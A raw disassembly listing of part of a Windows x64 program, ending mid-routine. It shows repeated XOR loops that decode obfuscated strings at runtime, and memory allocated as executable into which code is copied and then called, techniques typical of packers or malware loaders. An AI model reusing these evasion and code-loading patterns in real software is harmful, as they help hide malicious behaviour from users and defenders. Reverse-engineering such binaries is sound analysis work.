mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x304]
mov edx, dword [rsp + 0xe0]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140249ff0
cmp r9d, 0x12
jge 0x14024a227
movsxd rax, r9d
lea r10, [rsp + 0x300]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x14024a1d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x820], xmm0
mov qword [rsp + 0x830], rsi
mov qword [rsp + 0x838], rsi
lea rax, [rsp + 0x300]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14024a251
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x820]
call fcn.14021d330
nop
lea rcx, [rsp + 0x820]
call fcn.14020c9c0
mov qword [rsp + 0x4e8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd40], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xd48], r13
mov qword [rsp + 0xd50], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0xd40], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c26d0]
test rax, rax
je 0x14024a2f9
mov rdx, rsi
nop dword [rax + rax]
cmp rax, r15
je 0x14024a2e8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c26d0]
test rax, rax
jne 0x14024a2d0
jmp 0x14024a2f9
mov r8, qword [r14 + rdx*8 + 0x2c2090]
test r8, r8
jne 0x14024a3df
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14024a320
mov r8, rsi
jmp 0x14024a3be
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14024a330
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d10]
mov qword [r14 + rax*8 + 0x2c26d0], r15
mov qword [r14 + rax*8 + 0x2c2090], r8
inc rax
mov qword [0x1402c3d10], rax
lea rdx, [rsp + 0x4e8]
lea rcx, [fcn.14020b790]
call r8
mov dword [rsp + 0x190], eax
xor rdi, r13
lea rax, [rsp + 0x6308]
mov qword [rax], rdi
lea rcx, [rsp + 0x820]
call fcn.140259200
cmp dword [rsp + 0x19c], 0
jne 0x14024a42b
cmp dword [rsp + 0x190], 0
je 0x14024a703
movups xmm0, xmmword [0x1402aaf08]
movups xmmword [rsp + 0x398], xmm0
movups xmm1, xmmword [0x1402aaf18]
movups xmmword [rsp + 0x3a8], xmm1
pextrw eax, xmm1, 7
test ax, ax
je 0x14024a6c6
cmp dword [0x1402bd008], 2
jl 0x14024a651
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x398]
nop dword [rax]
nop dword [rax + rax]
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add esi, 8
lea rcx, [rcx + 0x10]
cmp esi, 0x10
jl 0x14024a4c0
jmp 0x14024a6c6
lea r9, [rsp + 0x398]
mov r12d, dword [rsp + 0x74]
mov dword [rsp + 0x70], r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x9c09c09d
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, bx
movzx ecx, dx
imul ecx, eax
sub cx, r8w
movzx eax, si
add ax, ax
add cx, 0x41
add cx, ax
xor word [r9], cx
inc esi
lea r9, [r9 + 2]
cmp esi, 0x10
jl 0x14024a670
lea rdx, [rsp + 0x398]
lea rcx, [rsp + 0xab0]
call fcn.140257350
nop
lea rcx, [rsp + 0xab0]
call fcn.1402177e0
nop
lea rcx, [rsp + 0xab0]
call fcn.140258f70
mov byte [0x1402bfe51], 0
jmp 0x14024af7e
mov edi, dword [rsp + 0x74]
mov r8d, edi
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x14024aa03
lea rdx, [rsp + 0xfc8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x14024a745
inc r12d
mov dword [rsp + 0x90], r12d
jmp 0x140249982
movups xmm0, xmmword [0x1402aaf08]
movups xmmword [rsp + 0x3c0], xmm0
movups xmm1, xmmword [0x1402aaf18]
movups xmmword [rsp + 0x3d0], xmm1
pextrw eax, xmm1, 7
test ax, ax
je 0x14024a9c6
cmp dword [0x1402bd008], 2
jl 0x14024a961
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x3c0]
nop
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add esi, 8
lea rcx, [rcx + 0x10]
cmp esi, 0x10
jl 0x14024a7d0
jmp 0x14024a9c6
lea r9, [rsp + 0x3c0]
mov dword [rsp + 0x70], edi
nop dword [rax]
mov eax, 0x9c09c09d
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, bx
movzx ecx, dx
imul ecx, eax
sub cx, r8w
movzx eax, si
add ax, ax
add cx, 0x41
add cx, ax
xor word [r9], cx
inc esi
lea r9, [r9 + 2]
cmp esi, 0x10
jl 0x14024a970
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0xa50]
call fcn.140257350
nop
lea rcx, [rsp + 0xa50]
call fcn.1402177e0
nop
lea rcx, [rsp + 0xa50]
call fcn.140258f70
mov byte [0x1402bfe51], 0
jmp 0x14024af7e
movups xmm0, xmmword [0x1402aaf08]
movups xmmword [rsp + 0x3e8], xmm0
movups xmm1, xmmword [0x1402aaf18]
movups xmmword [rsp + 0x3f8], xmm1
pextrw eax, xmm1, 7
test ax, ax
je 0x14024ac86
cmp dword [0x1402bd008], 2
jl 0x14024ac21
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x3e8]
nop dword [rax]
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add esi, 8
lea rcx, [rcx + 0x10]
cmp esi, 0x10
jl 0x14024aa90
jmp 0x14024ac86
lea r9, [rsp + 0x3e8]
mov dword [rsp + 0x70], edi
nop dword [rax]
mov eax, 0x9c09c09d
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, bx
movzx ecx, dx
imul ecx, eax
sub cx, r8w
movzx eax, si
add ax, ax
add cx, 0x41
add cx, ax
xor word [r9], cx
inc esi
lea r9, [r9 + 2]
cmp esi, 0x10
jl 0x14024ac30
lea rdx, [rsp + 0x3e8]
lea rcx, [rsp + 0xa70]
call fcn.140257350
nop
lea rcx, [rsp + 0xa70]
call fcn.1402177e0
nop
lea rcx, [rsp + 0xa70]
call fcn.140258f70
mov byte [0x1402bfe51], 0
jmp 0x14024af7e
movups xmm0, xmmword [0x1402aaf08]
movups xmmword [rsp + 0x410], xmm0
movups xmm1, xmmword [0x1402aaf18]
movups xmmword [rsp + 0x420], xmm1
pextrw eax, xmm1, 7
test ax, ax
je 0x14024af46
cmp dword [0x1402bd008], 2
jl 0x14024aee1
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x410]
nop dword [rax]
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add esi, 8
lea rcx, [rcx + 0x10]
cmp esi, 0x10
jl 0x14024ad50
jmp 0x14024af46
lea r9, [rsp + 0x410]
mov dword [rsp + 0x70], edi
nop dword [rax]
mov eax, 0x9c09c09d
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, bx
movzx ecx, dx
imul ecx, eax
sub cx, r8w
movzx eax, si
add ax, ax
add cx, 0x41
add cx, ax
xor word [r9], cx
inc esi
lea r9, [r9 + 2]
cmp esi, 0x10
jl 0x14024aef0
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0xa90]
call fcn.140257350
nop
lea rcx, [rsp + 0xa90]
call fcn.1402177e0
nop
lea rcx, [rsp + 0xa90]
call fcn.140258f70
mov byte [0x1402bfe51], 0
lea rcx, [rsp + 0x10a0]
call fcn.140258f70
nop
lea rcx, [rsp + 0xed8]
call fcn.140259200
nop
lea rcx, [rsp + 0xef8]
call fcn.140259200
nop
lea rcx, [rsp + 0xd90]
call fcn.140259200
nop
nop word [rax + rax]
lea rcx, [rsp + 0xcd0]
call fcn.140259200
nop
lea rcx, [rsp + 0x1080]
call fcn.140259200
nop
lea rcx, [rsp + 0xd20]
call fcn.140259200
nop
lea rcx, [rsp + 0x1060]
call fcn.140259200
nop
lea rcx, [rsp + 0x1100]
call fcn.140259200
nop
lea rcx, [rsp + 0xe28]
call fcn.140259200
nop
lea rcx, [rsp + 0xe48]
call fcn.140259200
nop
lea rcx, [rsp + 0x10e0]
call fcn.140259200
nop
lea rcx, [rsp + 0xe08]
call fcn.140259200
nop
lea rcx, [rsp + 0xdc8]
call fcn.140259200
nop
lea rcx, [rsp + 0xde8]
call fcn.140259200
nop
lea rcx, [rsp + 0xd70]
call fcn.140259200
mov r15, qword [rsp + 0xdc0]
mov r13, qword [rsp + 0xdb8]
mov r12, qword [rsp + 0xdb0]
jmp 0x14024b4d5
mov byte [0x1402bfe51], 0
lea rdi, [fcn.140202680]
mov rax, qword [0x1402ab918]
mov qword [rsp + 0x1a0], rax
cmp byte [0x1402ab91f], 0
je 0x14024b347
cmp dword [0x1402bd008], 2
jl 0x14024b2dc
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1a0]
pxor xmm3, xmm1
movd dword [rsp + 0x1a0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1a4]
pxor xmm3, xmm1
movd dword [rsp + 0x1a4], xmm3
jmp 0x14024b347
lea r10, [rsp + 0x1a0]
mov r9d, esi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
